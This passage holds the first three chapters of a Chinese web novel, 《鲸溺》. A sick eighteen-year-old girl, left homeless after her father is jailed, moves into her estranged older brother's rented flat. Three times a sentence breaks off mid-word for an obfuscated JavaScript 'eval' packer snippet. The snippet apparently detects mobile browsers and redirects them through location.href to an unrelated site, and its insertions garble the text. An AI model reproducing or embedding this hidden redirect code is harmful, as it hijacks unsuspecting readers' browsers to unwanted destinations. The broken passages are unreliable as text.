《鲸溺》 1. 檐下雨 二零一零年六月中旬,霖城进入了黏腻、闷热的梅雨季。 招待所的窗户关不严,风从缝隙里挤进来,窗帘被吹得鼓起来又落下去,带着潮湿的霉味。 梁鲸坐在床沿,胸口隐隐发闷。 她手里握着老式的按键手机,指节攥紧又松开,迟迟没有拨通那个号码。 号码的备注只有一个单字,“哥”。 代表着他们以前的关系,而现在他们不再是兄妹了。 在梁鲸十五岁那年,家里发生了翻天覆地的变化,妈妈因病去世,爸爸与哥哥大吵一架。 她至今都记得,爸爸怒火中烧的脸庞,对着哥哥吼出那句:“从今往后,你和这个家没有关系了。” 十五岁的梁鲸不明白什么叫做没有关系。 只知道梁弛这个名字从梁家的户口本上分割出去。 后来,隔着三年时间,十八岁的梁鲸懂了。 没有关系就是,她走她的路,他过他的桥,哪怕她在这个世界上没有任何亲人可以依靠,她也不该打那个电话。 可是她实在不知道该打给谁了。 梁鲸低头看着手机屏幕,上边有划痕,字体不是很清晰,“哥”这个备注不停地闪烁着。 犹豫片刻,她按下了拨号键。 等待音嘟了好几声,梁鲸心跳起伏,她不确定梁弛会不会接,毕竟这三年里他们从未通过电话。 爸爸不许她再提起哥哥。 梁弛对她一贯冷漠,又走得决绝,她也不敢贸然联系他,只有逢年过节编辑一条祝福短信发给他,有时他会简单回复一个“嗯”,有时索性得不到回复。 梁鲸呼吸有些急促,直到等待音停止,电话接通,她的心脏才像是落回胸腔。 她听到一阵杂音,他大约在路上,那端有车流声,有人声,很嘈杂。 他没有说话,梁鲸一时之间也不知道怎么开口,喉咙像是被堵住,沉默好一会儿才喊了一声“哥”。 梁弛没有应。 梁鲸心里一慌,害怕他是没听出来她的声音,她连忙说:“是我,梁鲸。” 那端终于有了回应,语调沉沉:“我知道。” 只有这三个字。 梁鲸哑然,不知道该怎么回。 那端又问:“什么事?” 声音平静得听不出情绪。 这是三年以来第一次听见他的声音,梁鲸鼻尖莫名一酸,说不清是因为当下境况的窘迫,还是心底压着的委屈。 她深吸一口气,缓缓说:“爸被抓了,家里的房子也被法拍了,我没地方去……” 她声音很小,带着点压抑的哭腔,陈述了一个走投无路的事实。少女那点薄薄的自尊心,让她没再往下说。 梁弛语气依旧淡,接了一句:“所以呢?” 梁鲸不吭声了,她向来都不太懂他,也猜不出这句话里的未竟之语,是“和我有什么关系”,还是“你想让我怎么做”。 她吸了吸鼻子,止不住咳嗽了几声,又怕他觉得烦,刻意忍耐下来。 梁弛就这样静默地听着她的声音。 梁鲸缓了一会儿,鼓起勇气问:“你能不能收留我一段时间?” 她知道这个请求可能有些冒昧。 她对梁弛那边的情况所知甚少,只知道他在遂市上大学,现在是大三学期末,他可能住在学校宿舍,她过去了都不一定有地方住。 但现下,他是她唯一能抓住的稻草。 “一段时间。”梁弛重复着这个词,顿了顿,问她:“是多久?” 梁鲸被噎了下。 实际上,她自己也不太确定。 她这些天一直处于彷徨无措当中,以后怎么办,她没想过,只求暂时能有个落脚的地方。 “三…”刚发出一个音节,她又改口,“两个月,两个月时间。” 电话里安静许久,耳旁只剩下微弱的电流声。 之后,梁鲸听到一声若有似无的哼笑。 紧接着,梁弛说:“地址发你,自己过来。” 梁鲸慢了半拍才反应过来,这是答应的意思。 她握着手机的掌心松了松,要说谢谢,电话却已被挂断。 梁鲸怔了下,仍保持着手机贴在耳侧的姿势,过了会儿才缓慢地放下来。 此时屏幕亮了一下,有一条新的短信进来。 是梁弛发来的地址。 看上去像是一个单元楼,而不是学校。 他在校外租房住吗? 她有一瞬走神。 窗外的雨不知何时停了,夕阳从云层缝隙里漏下来,把房间染成昏黄色。 梁鲸盯着这条短信,眼底微涩。 一滴泪悄无声息地落在屏幕上,世界连同这行字都变得模糊不清,却又在擦干眼泪后再次清晰。 收好手机,梁鲸走出招待所,在附近随便吃了点东西垫肚子,又去了车站的售票窗口。 从霖城到遂市最快的一趟列车是次日早上八点多发车,下午五点抵达。 她买完车票回去,将车票和身份证放在书包的内侧口袋里。 房间里的热水不太稳定,她没洗澡,只把毛巾打湿简单擦了下。 睡前,梁鲸从书包里翻出一瓶药,用量杯倒了五毫升喝下。这是她的常备药,化痰清肺的维持性药物,每天都要吃。 父亲最后一次给她买是在出事前,现在还剩三瓶。另外两瓶未拆封,在行李箱里。 除了这个,还有一瓶备用的气雾剂,平时用不到,是喘不上气时急救的。 这两款都是进口原研药,常年用药对于普通家庭来说是一笔不小的开支,其实也有国产仿制药可以替代,但她爸爸坚持要用效果最好、副作用最小的药。 房间没有空调,头顶的老式吊扇吱呀呀转着,吹出来的风都是温热的。天花板的角落有一块洇开的水渍,形状像小狗的轮廓。 梁鲸躺在床上,盯着看了会儿,思绪飘远。 想起了爸爸梁世宏。 从她高三下学期刚开始,就隐隐感觉到不太对劲了。 爸爸那段时间话变少了,回家越来越晚,有时候她半夜醒来,还能看见客厅的灯亮着,爸爸眉目凝重,问她怎么还没睡,说话时嘴巴里飘出来一丝烟味。 茶几上并没有烟头,爸爸大概是在外面抽完才进来的,他可能没料到她这个点会出来。 因为肺不好的缘故,她对味道特别敏感。 爸爸已经很多年不抽烟,他说年轻的时候抽,她出生后就戒烟了。 最近不知道什么原因又开始抽。 她问怎么了。 爸爸只说单位事多,加班。 他这么说,她也就相信了。那时候她正忙着准备高考,没有多余的精力去想别的。 偶尔爸爸会问她想考哪所大学。 她说了几个志愿。 爸爸笑着摸了摸她的头。 那天是个寻常周末下午,她亲眼看着爸爸被带上车,他回过头望向她,有愧疚,有不舍,还有太多其他的情绪,与警笛声一同消失在街角。 她是之后才知道的,爸爸是厂里的会计,这些年为了给她买进口药,利用职务之便做了不少违法的事,一开始只是小数目,越滚越大,终于压不住了。 高考前夕,父亲的判决下来了。 八年。 高考那天,她坐在考场,盯着语文试卷上的作文题,脑子里一片空白。不断回想起爸爸上车前的眼神,以及他的判决书。 后边几科,也明显不在状态。 她知道考砸了。 虽然成绩还没有下来,但肯定和那几所志愿学校无缘,估计连本科线都过不去。 高考结束,她的去处也成了问题。 她爸爸被抓,那些亲戚对她家避之不及,生怕被牵连。她也成年了,别人对她没有抚养义务,更何况她的病需要常年吃药,是个无底洞。 梁鲸翻了个身,将脸面朝墙壁,闭上眼睛强迫自己不去想这些事。 最起码现在有地方去了。 虽然哥哥听起来不太情愿,但他最终还是答应收留她了。 天蒙蒙亮时,梁鲸醒了。 简单洗漱了一下,她背着书包,拎着行李箱下楼退房。招待所离车站很近,她顺路买了早餐边走边吃。 火车是八点十五分发车。 梁鲸找到座位,靠近窗户的位置。 她把书包放在腿上,行李箱塞进座位底下,然后拿了一本书出来。其实并不能看进去,只是想找个事情做,让自己显得不那么无聊。 火车开动了。 梁鲸抬眼看向车窗外,霖城的街景慢慢往后退,越退越快,最后什么都看不清了。 她低头,书里还夹着一张照片,边缘有些磨损,画面中的人物还算清晰。 是一家四口的全家福。 她看了会儿,把书合上,紧紧抱在怀里。 火车准时到站,梁鲸顺着人流往外走。 遂市的夏天比霖城要热,人群挤来挤去,她呼吸变得急促,却没停下来,继续往前走。 过了出站口走到室外,她停下来坐在行李箱上,深深呼吸了几口才打开手机翻出那条短信。 她是第一次来遂市,对路线一无所知。 最简单的办法就是打一辆出租车,把地址告诉司机。司机常年在城市里跑,对路线再熟悉不过。 可是打出租车就意味着要比坐公交花费高出很多。 之前爸爸给她的生活费,现在还剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458914|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二百多块在她书包里,她想省着点用。 如果打出租车太贵的话,她还是问问路再坐公交算了,就是会热一点累一点。 梁鲸拖着行李箱又往前走了一段路,经过广场,站在路边。 等客的司机立刻热情地问她要去哪。 梁鲸把地址给司机看,她先问:“去这个地方,大概要多少钱啊?” 司机眯眼看手机屏幕上的字,眉头动了动,说:“这得打表才知道。” 梁鲸把手机收回来,犹豫了下,坦诚地说:“那您大概估一下行吗?我身上钱不多……要是太贵我就不坐了。” 司机原本是想绕段路,打表收个高价的。 一听这话,怕说太贵错过这单生意,赚得不多总比没得赚强,于是估了个正常价位,“二十块左右吧,放心吧,不坑你,小姑娘出门在外也不容易。” 这个价位在梁鲸可以接受的范围内,她点了点头,说行。 司机帮她把行李箱放进后备箱,梁鲸坐在后座,又给司机报了一遍地址。 车子驶入车流,梁鲸望着窗外陌生的街景,手心微微出汗。 大约二十分钟后,出租车停在一栋老旧的筒子楼前。 车里没开空调,梁鲸后脖颈出了些汗,碎发黏在皮肤上,她此刻也无暇顾及,伸手拉开车门。 下午五点多钟,太阳缓慢西移,光是斜映过来的,打在筒子楼上,外墙半明半暗。 梁鲸微微抬眸,墙面斑驳,爬山虎从墙角攀上去,枝叶繁茂。 她只看了一眼,收回视线。 司机下车去开后备箱,她也跟着下车,完全没注意到,在那面墙光影分界处,窗户内有一道目光紧紧锁住她。 年轻男人靠窗而立,垂眼望着楼下。 女孩正低头翻找书包里的钱,一张一张叠得很平整,递给司机。 司机拿到钱,开着车扬长而去。 她仍呆呆地站在原地,把书包夹层里剩余的钱又数了一遍。 三年过去,还是那副可怜兮兮的样子。 梁弛轻嗤了声,转身去到书桌上,拿起手机编辑了一条短信发过去。 楼下。 梁鲸一脸茫然地站在原地,地址只到这里,没写具体哪一户。 她看着眼前的筒子楼,楼道口堆着几辆自行车,以楼道为界,左右各三户,由一条外走廊串联起来。 一共五层,也就是三十户。 她犹豫着要不要找人打听一下。 手机在这时响了,她拿起来看。 【三楼左手边第一户。】 梁鲸看着屏幕,又仰头看了下位置。 三楼,也还好。 她提着行李箱开始爬楼梯。 楼道很窄,楼梯是水泥的,扶手上积着灰。 她拎着行李箱,走得很慢。 平时上下楼梯倒还好,提着箱子就有些吃力了,她走到二楼就开始喘,于是停下来,靠在墙上歇了一会儿,然后继续往上。 终于到三楼。 比想象中要累。 她把行李箱放下,靠在墙边喘气,额头上沁出细细的汗。 左边第一户,就在她手边,梁鲸刚要敲门,门就从里面打开了。 她稍稍怔了下。 眼前的男人穿着件黑色的T恤,额前碎发分出不太明显的弧度,脸上的轮廓更深了,漫不经心耷拉着眼皮,漆黑的眼瞳里没什么情绪。 梁鲸手还抬着,忙收回来喊了一声:“哥……” 因为爬了三层楼,她气息不稳,脸颊还泛着生理性的红。 梁弛没应,盯着她的脸。 他眸色深,眼皮都不眨一下,目光如有实质。梁鲸被看得心里没底,不自觉蜷起手指。 约莫有半分钟,这道目光放过了她,看向她旁边的行李箱。梁弛问:“就这些?” 梁鲸如释重负般轻轻点头。 房子被贴了封条,她只能带走自己的私人物品。 梁弛移开视线,侧了侧身。 他没说话,但这个动作是默认让她进去。梁鲸抿了抿唇,拎着行李箱走进房间。 房间比从外边看着要大。 一张单人床靠墙摆放,床单看起来像是新换的,没有褶皱,边角掖得整整齐齐。床边有个衣柜,床边放着书桌和椅子,桌上有书架和一台旧电脑。 再往里,一侧是阳台,但被他当厨房用了,简易灶台上放着一个小电锅。 另一侧是卫生间,门紧紧关着。 房间里的格局一眼望尽。 梁鲸站在门口,有种很强烈的外来者的感觉,而房间的主人抱臂看着她,站得并不直,些许懒散。 语调冷淡地开口:“住两个月,想好怎么还了吗?” 2. 檐下雨 梁鲸看着他,眼睛睁圆,明显愣了一下。 而后很快想到,他指的应该是钱。毕竟她住在这里,吃的用的都需要钱。 以他们现在的关系,她不觉得能摆出理所当然的姿态,要他无条件收留她。 梁鲸想了想,实话实说:“我只有两百多块。” 她话音里带着几分难为情。 梁弛听着,却沉默不语。 梁鲸不自在地垂下眼,取下肩上背着的书包,从夹层里翻出那沓钱。 两张一百的,剩下是五块十块的零钱,还有几张一块的。她把钱在手里数了一遍,确定是两百三十七块。 钱叠得整整齐齐,梁鲸递过去,头一直低着,“全都给你。” 她捏着钱的手指很细,指尖剪得很短,圆润干净。 梁弛看着她指尖,没接,反问她:“你觉得够吗?” 两个月,二百多块,怎么算都是不够的。 梁鲸手悬在半空,“我知道不够,但我现在只有这些钱……” 她声音越说越小,像蚊呐。 梁弛转过身不再看她,淡声说:“先欠着。” 梁鲸缓缓抬起眼,看着那道走进阳台的高挑人影,阳台那道门有点低,他得稍微弓一下身。 她不知道他在这里生活了多久,只知道接下来的两个月,他们要在同一个屋檐下。 虽然哥哥看起来不太待见她,但梁鲸心里清楚,要是因此负气离开,才是真的冲动任性。 她现在不是能随意任性的处境。 说好听点是收留,实际上就是寄人篱下。 梁鲸很轻地叹气,把钱放回书包里,又把行李箱移到一个不碍事的角落。 房间里没有沙发,除了书桌前的座椅,还有几个摞起来的塑料椅。 梁鲸坐也不是站也不是。 她往前挪了几步,跟到阳台门口,没有往里进,在想该怎么跟他说。 招待所里没有热水,她熬了两晚没洗澡,又坐了一路火车,先不说有没有味道,光是出汗就已经够难受了。 她犹豫了下,还是开口:“哥,我能……先洗个澡吗?” 梁弛量了半碗米,头也没回,“往左拧是热水。” 得到许可,梁鲸稍稍松了口气。 她从行李箱里翻出换洗的干净衣服和毛巾,但没有洗发水和沐浴露。走的时候没带,行李箱装不下了。 梁鲸先抱着能用到的进了卫生间。 卫生间不大,该有的都有。门口是洗手池和一面镜子,墙上粘了几个挂钩,里边是花洒。 和他的房间一样,卫生间也收拾得很干净。 镜子在洗手池上方,难免会溅到水渍。但眼前的镜面清晰明亮,边角也没有水渍的痕迹。台面边缘和地面没有污渍和发丝,洗漱用具整整齐齐地摆放着。 有洗发水和沐浴露,还是他以前用的牌子。 梁鲸把门开了一条缝,探出头问:“那个……我能不能用一下你的洗发水和沐浴露?” 她看不到他人,只能听见声音。 “随便。” 梁鲸小声地说谢谢,之后关上门。 热水器往左拧,水很快就热了。她站在花洒下面冲了很久,把这两天闷出来的潮气和汗味都冲干净,洗完用毛巾擦干,随后看着换下来的衣服陷入了纠结。 现在就洗衣服的话,会不会动静太大了? 而且天色已经晚了,洗完衣服在外边晾一晚上,她总觉得没安全感。 思来想去,梁鲸决定等明天白天再洗。 到时候梁弛大概要去上课,房间里就她自己,做什么都会自在一些。 她把脏衣服叠好放在一个塑料盆里,又把洗发水和沐浴露放回原位。 做完这些,梁鲸缓了会儿,推门出去。 头发是擦过的,已经不滴水了,但披在肩膀上会把短袖洇湿。 于是她用毛巾垫在肩背上。 她没看到吹风机,或许是没有。 这次她没问,怕他嫌烦。 她就这么走出来,看见梁弛还在阳台。大约是饭做好了,他伸手拔了电锅的插头。 窗外昏沉一片,阳台上一盏发黄的小灯,他仍旧没站直,弯着腰拿着汤勺在锅里搅拌。 听见动静,梁弛偏过头看她,皱起眉:“头发怎么没吹干?” 梁鲸解释:“没看到吹风机。” “洗手池底下柜子里。”梁弛直起身,眉心压得很低,“以后在这里,头发都要吹干。” 这话听着不太像是关心,更像是在下命令。 梁鲸一时没反应过他的意图,就又听见一句,“感冒了会很麻烦。” 语气隐隐有不耐。 原来是怕麻烦。 也对,从小到大她每次感冒都来势汹汹。普通人不吃药就能扛过去的小感冒,她却要挂水,赶上秋冬时节,进医院也是常有的事。 梁鲸“嗯”了一声,转过身又进了卫生间。 她蹲下来,从柜子里找出吹风机,怕声音吵到他,她把门关上了。 等她吹完头发再出来时,梁弛已经支起了一个折叠餐桌。 他坐在餐桌前,那把塑料椅子很低,他长腿蜷着,膝盖比桌面还高出一截,看起来很不舒服,但他好像习惯了。 他面前放着一碗粥,热气从碗口往上冒,米香混着肉香飘在空气里,还有碎青菜叶点缀。 很香。 但只有一碗。 梁鲸别过眼,想装作若无其事,只是心口忽地一酸,可能是失落,也可能只是饿了。 她又开始坐立不安。 梁弛把她的反应尽收眼底,平静开口,“粥在锅里,自己去盛。” 梁鲸闻言,呆了一下,脚步没动。 她还以为梁弛只煮了一人份。 “很意外吗?”梁弛嗤然勾唇。 梁鲸被问住了。 说是的话,就等于承认了在她看来,他是那种不近人情到连饭都不愿意多煮一份的人。 她想了下,摇头说没有。 梁弛懒得戳穿她,低下头继续喝粥。 梁鲸盛了一碗粥,在梁弛对面坐下。 他看她一眼,没说什么。 梁鲸坐得很规矩,碗也只占桌子很少的位置,低着头一小勺一小勺地喝。 粥里只放了少许的盐,更多的是食物本身的香味,瘦肉是提前炒过的,微微焦香。 这是大概父亲出事之后,她吃过最好吃的一顿饭。不只是味道,更多的是心境,那些天的惶惶不安,学校食堂亦或是外面餐馆,吃到嘴里都食之无味。 此刻,在这一方很小的天地里,她暂时有了容身之所。 梁鲸眼眶一热,头埋得更低。 对面的人在这时起身,之后是水流声。 梁弛洗完碗走出来,她还在喝粥。 梁鲸吃饭一贯慢吞吞的,这样不容易呛。以前在家里没人催她,现在梁弛也没有催她,他就只是看着她,瞳底漆黑,眼神淡漠。 许久,他摸起书桌上的烟盒,“我出去一趟。” 门关上的一瞬,梁鲸脊背一松。 她刚刚感觉到他的目光了,一个屋子就这么大,他站着不动,不是在盯着她又会是在看什么地方。 很奇怪,梁弛的态度比三年前更令她捉摸不透了。 梁鲸吃完饭,简单收拾了一下,把小餐桌折叠起来放好。 筒子楼隔音并不好,能听见树上的蝉鸣,楼下交谈声,以及不知道哪一户教育孩子的吵嚷。 夏夜里,屋内有些闷热,梁鲸索性打开门,站在走廊里往下看。 出乎意料地看到了梁弛。 她还以为他说的出去一趟,是去远一些的地方,没想到就在楼下。 他站在路灯旁,手里夹着烟,姿态很随意。有遛弯的人从他面前经过,他连眼都不抬,像是和周围隔着一层东西,疏离感很重。 梁鲸两条细细的手臂搭在栏杆上,看着他指尖猩红的火光,难免回忆起,妈妈第一次动手扇他巴掌,就是因为发现他学会了抽烟。 楼下的人似有所感,在那根烟燃尽之前,抬头看了过来。 四目交投。 梁鲸后退了两步,回到屋里。 进去了才觉得,她的反应稍显心虚,可能是一直以来她都有点怕他这个原因在作祟。 过了会儿,梁弛还没有上楼。 梁鲸想着早点洗漱,毕竟只有一个卫生间,要轮流用。 她洗了把脸,刷完牙,直接将牙刷放进杯子里,摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458915|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了旁边的置物架上。 之后就是按时吃药。 她刚用量杯倒好,门就从外边打开了。 梁弛视线落在她手里捧着的药上,神色难辨。 顿了片刻,问她:“还是那些药?” 梁鲸点了点头。 等他走近,她闻到他衣服上很淡的烟味。 并没有很刺鼻,是抽完烟晾了很久还附着在衣服上的气味。 但梁鲸还是喉咙一痒,想轻咳,又忍住了。 梁弛没说话,忽而抬手闻了闻衣袖,眉目更沉,和她拉开两个身位,问:“还有多少?” “三瓶。”喉咙那阵痒意过去,梁鲸补充了一句,“你放心,够用两个月的。” 言下之意,这两个月之内不会麻烦他帮她买药。 她是出于好心,却不知哪句话惹他不悦。 梁弛勾唇微讽,“现在划清界限,是不是太晚了?” 梁鲸后知后觉反应过来,虽不是她本意,但这句话确实带了几分划清界限的意味。 她想解释,梁弛却没给她机会,一言不发进了卫生间。 听着关门的声响,梁鲸很是无辜。 她仰头把药咽下,药瓶收起来放好。 卫生间里,梁弛看着放在他牙杯旁边的浅黄色卡通杯子,以及叠放在他洗衣盆的衣服,眉心拧起。 梁鲸并不知道这些,她在琢磨今晚要怎么睡。 房间只有一张单人床。趁他洗澡的间隙,梁鲸环顾了一圈,看得仔细,在衣柜夹角处发现一张竖着收纳的折叠床。 看成色还挺新的。 她不太好意思住他的屋子,还占他的床,在想要不要主动提睡折叠床。 可又一想,他大约也不会把床让给她。 还是不提了,听他安排吧。 如她所想,梁弛从卫生间出来后,走到墙边,把折叠床拎出来,展开。 他动作很利落,“今晚你睡那个。” 梁鲸点头说好。 她对睡觉的地方并不挑剔。 折叠床的宽度大概五六十厘米,够她睡,只是翻身会很费劲。 梁鲸试着坐在床边,很结实,承受她的重量绰绰有余。 夏天的夜晚很热,她还穿着衣服睡,也不必再盖什么。 梁弛却在关灯前,从衣柜里找了一条薄毯,扔给她。 梁鲸微怔,又很快想明白,就像提醒她吹头发一样,或许不是出于关心,他只是怕麻烦。 毯子很轻,梁鲸伸手去接,淡淡的薄荷香落了满怀。 她分神一瞬,觉得这个味道熟悉。 他没下楼抽烟之前,身上似乎也有薄荷味,不明显,应该是他洗衣粉的味道。 等她回过神,房间里倏尔一暗。 唯一的光源就成了窗外透进来的月色,落在梁鲸脸上。 她眨了眨眼睛,有些睡不着。 夜晚总容易胡思乱想。 梁鲸在想,到底该不该打那个电话。她成年了,没有人该为她的人生负责,她总要学会自己去面对接下来的路。 可是这些年父母的呵护,以及比正常人羸弱的身体,让她在这样的情况下慌不择路地想要抓住什么。 于是她抱着一丝希望,给哥哥打了电话。 梁鲸轻嗅毯子上的薄荷味,仍是没有困意。 过了会儿,肩膀有些硌,她很轻很慢地翻了个身。 折叠床的结构不同于木板床,再轻的动作也会发出声响。 她怕会吵醒梁弛,翻到一半不敢动了。 等了等,没听到他有动静,猜想他应当睡熟了,梁鲸才翻了一侧睡。 今夜的困意来得格外迟。 梁鲸睁着眼睛,好半晌,她试探着又翻了个身。 “梁鲸。” 她被这突如其来的一声吓到,整个人都不敢动了,小声地问,“吵醒你了吗?” 答案显而易见。 她把毯子拉高一点,盖住半张脸,闷声道歉,“对不起。” 房间里陷入沉默。 梁鲸侧躺着身子蜷起来,背对着他。 头顶扇叶转动不停,月光映在她后颈,雪白一片。 梁弛忽然说:“这么多年,睡觉还是这么不安分。” 3. 檐下雨 梁鲸没有反驳这句话。 但其实她的睡觉习惯已经好很多了,他说的不安分是很早以前。 她年纪很小的时候,因为肺不太好,睡觉经常会呼吸不畅,自己又不知道怎么回事,不舒服了就来回翻腾,还从床上摔下去过。 后来长大了,情况好一些。 医生说她这类情况,小时候症状重,随着年龄增长,肺部功能逐渐完善,会有所好转,却还是比常人要差。 但是起码,不会在睡觉时折腾了。 梁鲸不知道他为什么还记得这么久远的事。回忆一通,她想起了一个模糊的场景。 那也是在夏天,霖城的夏天总是潮湿的,雨像是下不完。 傍晚时分,妈妈刚帮她洗完澡。 窗外下着雨,屋里开着灯。妈妈拿着吹风机站在她身后,热风烘着她的后脑勺,她嫌热,缩着脖子躲。妈妈笑着把她拉回来:“小鱼乖一点,很快就吹完了。” 她不情不愿地坐好,眼睛滴溜溜乱转,于是就看到站在门口的梁弛。 那一年她四岁。 梁弛七岁,读小学二年级。 他身上衣服鞋子还有头发都淋湿了,滴着水,就那样直勾勾看过来。 不知是在看她,还是在看妈妈。 他站在门口不动。 妈妈专心给她吹着头发,目光没看门口,只是说:“小弛回来了,快去写作业吧。” 他就一言不发地坐在小板凳上开始写作业。 那晚,妈妈把她抱到床上哄睡,怕她睡觉不老实掉下去,用枕头在床边围了一圈。 “小弛,”妈妈回头喊了一声,“帮妈妈再拿个枕头过来。” 她那会儿迷迷糊糊闭着眼,没看到他的表情,只觉得脚蹬在一个枕头上,是湿的,她赶紧把脚缩回来。 记忆里再寻常不过的场景,年幼的她没有多想,现在才隐约明白了些什么。 梁鲸裹了裹毯子,不敢再乱动,后半夜沉沉睡去。 次日早上,她被一阵动静吵醒,身子没动,只把眼缓缓睁开。看到卫生间亮着灯,门是关着的,里边水声不停。 过了几分钟,梁弛单手端着塑料盆出来,另一只手拿着几个衣撑。 想起昨晚放在塑料盆里还没洗的衣服,梁鲸瞬间不困了,她瞪大眼睛,在看清塑料盆的颜色后松了口气。 幸好,不是她放衣服那个。 果然人刚睡醒的时候脑袋不清醒,她居然会自作多情地以为梁弛帮她把衣服洗了。 梁弛似是看穿她所想,扯了扯唇,“醒了就起来。” 梁鲸坐起身,毯子从身上滑下去,里边的衣服睡皱了,她伸手拉了两下。 趁他去门口晾衣服时,她把折叠床收起来放回原位,又快速洗漱了一遍。 冷水扑在脸上,整个人清醒不少。 她随手扎了个低马尾走出去。 梁弛已经站在书桌前,往书包里装了两本专业课本,没抬眼,“楼下有早餐店。” 书包是纯黑色,很简约的款式,被他轻松单肩挎上,钥匙勾在他指尖。 他往外走,梁鲸快步跟上,生怕被锁屋里了。 梁弛锁完门,把钥匙抛给她。 梁鲸两只手去接。 他给她什么东西,好像总喜欢用这种方式,扔或者抛,反正不能好好递过来。 从前也是这样。 钥匙是黄铜材质,有些重量,砸在手心里有轻微痛感,梁鲸没大注意,只问他:“钥匙给我了,你怎么办?” 面前的人没回答,在盯着她手心看。梁鲸也跟着低头,才发现被钥匙砸到的地方发红一片。 其实就砸到那一瞬间疼了下,很快就消失了,只不过她皮肤偏白又薄,红印才明显些。 她默默把手缩了缩,收回去。 梁弛移开视线,转身下楼,“我有备用。” 楼梯窄,两人一前一后走着,梁鲸走得慢,逐渐和他拉开距离。 他又不放慢脚步。 等到走出楼道,梁鲸已然和他隔着十几米了,不过还能看到人影。 她一直跟着。 早餐店在巷口,位置一眼就能看到,招牌褪色了,看样子有些年头。 梁弛站在摊位前,从老板手里接过两碗豆浆,自顾自找了个空位坐下。 不等他说,梁鲸很识趣地坐在他对面。 像昨晚一样,两人不说话,各自安静吃饭。 豆浆是现磨的,味道香浓,还有一碟油条,切成小段,外表金黄酥脆。 梁鲸吃饭还是慢吞吞,她吃一半,梁弛已经吃完起身。 他身影挡在她面前,视线立刻暗了下来。 “厨房里的东西别乱动。”梁弛垂着眼皮看她,声音自上落下。 他要上课,赶时间,只交代这一句就离开了。 梁鲸把剩下的豆浆喝完。碗底有一点糖沉淀,稠稠的,她看了一眼,放下碗,用纸巾擦了擦嘴。 回去路上,她在想这句话是什么意思。 意思是别碰,还是碰了要收拾好?她觉得是前者。他从来都不喜欢别人动他的东西。 梁鲸原本中午是想自己做饭的。 妈妈在世时,她没进过厨房。妈妈去世后,爸爸工作很忙,虽然给了她充足的生活费,可是总在外边吃也会腻,她就学着自己做饭。 现在的她,已经会煮青菜鸡蛋面了。 做法很简单,但他不让她用厨房,她只得放弃。 梁鲸又回了筒子楼。 自己一个人在房间里,心里轻松了许多。她想起塑料盆里的衣服,现在洗完晾起来,出太阳天气热,差不多下午就能干透。 卫生间里没有洗衣机,衣服要手洗。 她蹲下,接了半盆水,一件一件开始洗,用梁弛的洗衣粉,倒在衣服上就能闻到薄荷的味道。 她先洗短袖和裤子,之后是换下来的内衣,洗完拧干,拿了几个衣撑到门口。 他早上洗的衣服就晾在门口的晾衣绳上,梁鲸有样学样,也把自己的衣服晾在上边。 短袖和裤子挂两边,中间挂着那两件小衣服。梁鲸后退两步再看,表情皱了下,其实也挡不住什么,只要从旁经过,瞥一眼就能看到。 想了想,她把短袖和裤子挪得更近了,几乎要挨在一起,这样虽然干得慢,但能完全遮挡住。 晾衣绳不平,挨得近了重量一多,就会坠下去一段,他的衣服也往这边滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458916|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 碰撞在一起,布料贴着布料,湿漉漉的透着光。 梁鲸怔了下,连忙把两人的衣服分开,用力把衣撑的挂钩掰开一点,卡在铁丝上。 上午时间就这么过了大半。 梁鲸坐在他书桌前,桌上的东西她没有动,只是支着脑袋发了会儿呆,在想要不要找份工作。 先不说两个月后,在这两个月内,她需要有点收入来源。住在这里已经是打扰了,她不想伸手问他要钱,况且他也不一定会给。 可是找什么工作呢? 梁鲸完全没有头绪。 转眼到了中午,梁鲸不再纠结,下楼去找附近的餐馆。 - 梁弛结束一上午的课程,走出教室。 周成扬还在收拾课本,眨眼功夫旁边的人就不见了,他把书往包里一塞,跟上去,“下午没课,要不要一起去打篮球?” “不去。”梁弛说,“下午要去店里。” 周成扬知道他在一家修车店兼职,也不强求,耸耸肩说:“行吧,每次叫你都没空。” “知道我没空还问?” 周成扬这人心大,认识三年早已习惯他脾气,嘻嘻哈哈地回:“这不是还对你抱有希望。” 说话间两人到了食堂,两荤一素的窗口排着长队,其他几个窗口队伍差不多也都长。 周成扬去了牛肉面的窗口,等他端着热腾腾的面找到位置坐下,梁弛拎着打包的饭从他身边经过。 “不在食堂吃?”周成扬看着塑料袋里装着的一次性餐盒,两份叠在一起。他奇了怪,“给谁带的?” 印象中,梁弛从大一起就不住宿舍,他兼职的修车店下班很晚,比宿舍熄灯时间还要晚,于是他就在外边租了房子,平时除了上课基本不在学校。 独来独往惯了,还没见他跟谁走得比较近,更别说给人带饭。 周成扬狐疑地看着他。 